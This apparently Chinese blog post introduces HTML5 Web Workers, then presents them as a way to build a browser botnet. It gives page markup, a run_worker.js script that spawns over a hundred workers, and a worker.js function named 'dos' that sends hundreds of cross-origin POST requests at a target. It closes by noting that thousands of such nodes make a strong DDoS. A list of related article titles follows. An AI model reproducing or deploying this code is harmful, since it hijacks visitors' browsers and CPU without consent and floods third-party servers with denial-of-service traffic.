Web Worker應用之CORS攻擊實現botnet殭屍網路節點攻擊
Web workers是HTML5標準提出的特性。目前各大瀏覽器的最新版本都已支援此功能。
Web workers的作用
Javascript語言是一個單執行緒的語言,所有任務都只能在一個執行緒上完成,一次只能做一件事。前面的任務沒做完,後面的任務只能等著,這就造成了阻塞。Web workers可以解決這個問題。
Web worker可以為JS建立多執行緒環境,將一些任務分配給web worker執行。
在不影響主執行緒執行的同時,worker執行緒在後臺執行,二者互不干擾。
可以將一些計算密集型或者高延遲的任務,交給web worker執行緒分擔,從而緩解了主執行緒(UI互動)的阻塞和延遲。
Worker 執行緒一旦新建成功,就會始終執行,不會被主執行緒上的活動(比如使用者點選按鈕、提交表單)打斷。這樣有利於隨時響應主執行緒的通訊。但是,這也造成了 Worker 比較耗費資源,不應該過度使用,而且一旦使用完畢,就應該關閉。
建立Worker執行緒
var worker = new Worker('work.js');
只要在主頁面加上一句new Worker(‘work.js’),那麼work.js就會另外開闢一個心的執行緒在主頁的後臺執行,主執行緒和新執行緒之間資料交換的介面使用postMessage()和onMessage()進行通訊。
Web Worker功能很強大,但無法訪問DOM API。
Web Worker不會導致瀏覽器UI停止響應,短暫的Worker操作不會讓使用者察覺,但如果是長時間大量的worker運算操作,則會消耗CPU週期,使系統變慢,使用者可能會看到CPU始終保持在高位。
Web worker+CORS
後臺執行web worker加上跨域請求CORS,可以實現網路殭屍Botnet攻擊。
每個殭屍節點瀏覽器請求的頁面程式碼:
<style>
#page { width: 100%;height:100%}
body {margin:0}
</style>
<script type="text/javascript">
var target='';
var work_loc='worker.js'
</script>
<script type="text/javascript" src="run_worker.js">
</script>
</head>
<body>
<iframe id="page" name="page" src="" frameborder="0" noresize="noresize" style="overflow:visible"></iframe>
</body>
run_worker.js程式碼控制執行的worker數量,關鍵程式碼如下:
var worker_loc='worker.js';
var workers = new Array();
var i=0;
var noWorker = typeof Worker == "undefined" ? true : false;
if(!noWorker){
try {
for(i=0;i<=100;i++){
workers[i]=new Worker(worker_loc);
workers[i].postMessage(target);
}
} catch (e) {
//comment out in release
e=e+""
alert(e);
if(e.indexOf("Worker is not enabled")!= -1) {
noWorker = true
}
}
}
worker.js程式碼:後臺傳送大量的跨域POST請求(CORS):
// ...
function makeRequest () {
//make a new URL and request it via POST
var fullUrl=makeUrl();
var httpRequest= new XMLHttpRequest();
httpRequest.open("POST", fullUrl, true);
httpRequest.setRequestHeader("Content-Type", "text/plain; charset=uft-8");
httpRequest.onreadystatechange=infoReceived;
httpRequest.onerror=err;
httpRequest.send(post_data);
}
function dos(){
var i=0;
for(i=0;i<500;i++){
makeRequest();
}
}
self.onmessage=function(e){
base = e.data;
dos();
}
//...
透過這樣一個事例模型,每個殭屍節點的瀏覽器將會高效地傳送大量請求,如果能控制成千上萬個殭屍節點,那麼這樣的DDos攻擊威力就比較大了。
更多閱讀:
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/4289/viewspace-2823041/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 快速進擊的挖礦殭屍網路:單日攻擊破10萬次
- 什麼是殭屍網路攻擊?安全專業人員指南
- Chalubo殭屍網路來襲 IOT裝置或將受到DDoS攻擊
- Muhstik殭屍網路木馬來襲,挖礦、攻擊兩不誤
- 新型 Linux 殭屍網路變種“EnemyBot”現身!利用 Web 伺服器、Android 及 CMS 漏洞進行攻擊LinuxWeb伺服器Android
- 網路攻擊
- 2020Botnet趨勢報告 | 殭屍網路新冠疫情期間“沒閒著”,攻擊速度更快,手段多元更隱匿
- 攻擊面管理預防網路攻擊原理?
- 卡巴斯基實驗室:2017年10.8%的工業控制系統受到殭屍網路攻擊
- 一起涉及多個DDoS殭屍網路樣本的攻擊事件追蹤事件
- web攻擊方式Web
- 網路攻擊中主動攻擊和被動攻擊有什麼區別?
- 網路釣魚攻擊
- 網路攻擊泛談
- 什麼是網路攻擊?常見的網路攻擊手段有哪些?
- 【網路安全分享】APT攻擊常用的4種攻擊手段!APT
- Akamai:65.1%的Web應用程式攻擊來自SQL隱碼攻擊AIWebSQL
- 網路安全——常見的幾種WEB攻擊:Web
- 利用Burp Suite攻擊Web應用UIWeb
- 網路攻擊盯上民生領域,應對DDoS和APT攻擊,如何有效防禦?APT
- 降低網路攻擊風險
- 什麼是CC攻擊?CC攻擊型別【網路安全教程】型別
- [計算機網路]網路攻擊計算機網路
- 【網路安全】什麼是SQL隱碼攻擊漏洞?SQL隱碼攻擊的特點!SQL
- 年度網路攻擊大調查:SSH埠最易受網路攻擊,HTTPS其次!HTTP
- IJCAI 2019 提前看 | 神經網路後門攻擊、對抗攻擊AI神經網路
- 【網路安全】如何有效地防禦DDOS攻擊和CC攻擊?
- 醫療行業如何應對網路攻擊?行業
- 攻擊JavaWeb應用[4]-SQL隱碼攻擊[2]JavaWebSQL
- 攻擊JavaWeb應用[3]-SQL隱碼攻擊[1]JavaWebSQL
- web的攻擊技術Web
- WEB攻擊與防禦Web
- WEB三大攻擊之—SQL隱碼攻擊與防護WebSQL
- 瑞星:“雲攻擊”已成現實
- 前端實現csrf防止攻擊前端
- 常見網路攻擊:XSS 篇
- 網路攻擊有多大的危害?
- 2022年攻擊路徑研究:94%的網路攻擊僅需4步即可完成!